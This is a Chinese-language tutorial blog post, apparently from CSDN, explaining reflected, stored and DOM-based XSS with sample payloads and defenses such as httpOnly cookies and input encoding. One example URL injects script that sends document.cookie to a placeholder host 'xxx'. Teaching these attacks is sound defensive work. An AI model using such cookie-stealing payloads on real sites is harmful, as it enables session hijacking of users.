XSS攻击及防范

XSS是什么

XSS中文名为跨站脚本, 是发生在目标用户的浏览器层面上的,当渲染DOM树的过程成发生了不在预期内执行的JS代码时,就发生了XSS攻击。大多数XSS攻击的主要方式是嵌入一段远程或者第三方域上的JS代码。实际上是在目标网站的作用域下执行了这段js代码。

XSS攻击类型

  • XSS反射型攻击
    反射型XSS,也叫非持久型XSS,是指发生请求时,XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含XSS代码,最后浏览器解析并执行。
    例子
  1. 假如在一个页面的搜索框,填入“<script>alert(document.cookie)</script>”点击搜索。
  2. 但是前端页面没有对返回的数据进行过滤,直接显示在页面上, 通过alert获取到了个人的cookie信息。
    3.同时可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址获取到其他人的cookie:
http://xxx/search?keyword=<script>document.location='http://xxx/get?cookie='+document.cookie</script>

当别人一点击这个链接就会被获取到其cookie。如果是黑客的话,他们会注入一段第三方的js代码,然后将获取到的cookie信息存到他们的服务器上。这样的话黑客们就有机会拿到我们的身份认证做一些违法的事情了。

  • 存储型 XSS
    存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了,而是从服务器读取。
    存储型XSS是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
    例子
  1. 发一篇文章,里面包含了恶意脚本
    咱们裸熊真好看!<script>alert('handsome boy')</script>
    
  2. 后端没有对文章进行过滤,直接保存文章内容到数据库。
  3. 当其他看这篇文章的时候,包含的恶意脚本就会执行。
  • DOM XSS
    DOM XSS代码不需要服务器端的解析响应的直接参与,而是通过浏览器端的DOM解析。DOM XSS代码的攻击发生的可能在于我们编写JS代码造成的。我们知道eval语句有一个作用是将一段字符串转换为真正的JS语句,因此在JS中使用eval是很危险的事情,容易造成XSS攻击。避免使用eval语句。
    test.addEventListener('click', function () {
      var node = window.eval(txt.value)
      window.alert(node)
    }, false)
    
    txt中的代码如下
    <img src='null' onerror='alert(123)' />
    

XSS危害

  1. 通过document.cookie盗取cookie
  2. 使用js或css破坏页面正常的结构与样式
  3. 流量劫持(通过访问某段具有window.location.href定位到其他页面)
  4. Dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。
  5. 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
  6. 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。

XSS防范

  • 对cookie的保护
    对重要的cookie设置httpOnly, 防止客户端通过document.cookie读取cookie。服务端可以设置此字段。
  • 对用户输入数据的处理
  1. 编码:不能对用户输入的内容都保持原样,对用户输入的数据进行字符实体编码。对于字符实体的概念可以参考文章底部给出的参考链接。
  2. 解码:原样显示内容的时候必须解码,不然显示不到内容了。
  3. 过滤:当服务端不校验时候,前端要以各种方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。把输入的一些不合法的东西都过滤掉,从而保证安全性。如移除用户上传的DOM属性,如onerror,移除用户上传的Style节点,iframe, script节点等。

参考:

  1. https://www.cnblogs.com/unclekeith/p/7750681.html
  2. https://www.cnblogs.com/lovesong/p/5199623.html
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值